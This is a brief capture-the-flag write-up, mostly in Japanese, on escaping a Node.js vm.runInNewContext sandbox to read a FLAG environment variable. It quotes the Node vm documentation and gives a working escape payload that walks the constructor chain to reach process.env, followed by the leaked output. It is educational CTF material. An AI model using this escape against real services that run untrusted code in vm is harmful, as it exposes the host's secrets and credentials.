import { runInNewContext } from "node:vm";
console.log("Input JavaScript code (Example: 1+2):");
process.stdin.on("data", code => {
console.log(runInNewContext(code.toString(), {}, { timeout: 1000 }));
});
compose.yaml を見ると FLAG が環境変数に入っているのでこれを読み取ることを目標とする。
https://nodejs.org/api/vm.html
const { createContext, runInContext } = require('node:vm');
// An undefined `contextObject` option makes the global object contextified.
const context = createContext();
console.log(runInContext('globalThis', context) === context); // false
// A contextified global object cannot be frozen.
try {
runInContext('Object.freeze(globalThis);', context);
} catch (e) {
console.log(`${e.constructor.name}: ${e.message}`); // TypeError: Cannot freeze
}
console.log(runInContext('globalThis.foo = 1; foo;', context)); // 1
以下を入力
globalThis.__proto__.constructor.constructor('return process.env')()
(function(”return process.env”) と同じ役目)
以下のようなオブジェクトを得る。
{
PWD: '/app',
FLAG: 'Alpaca{REDACTED}'
}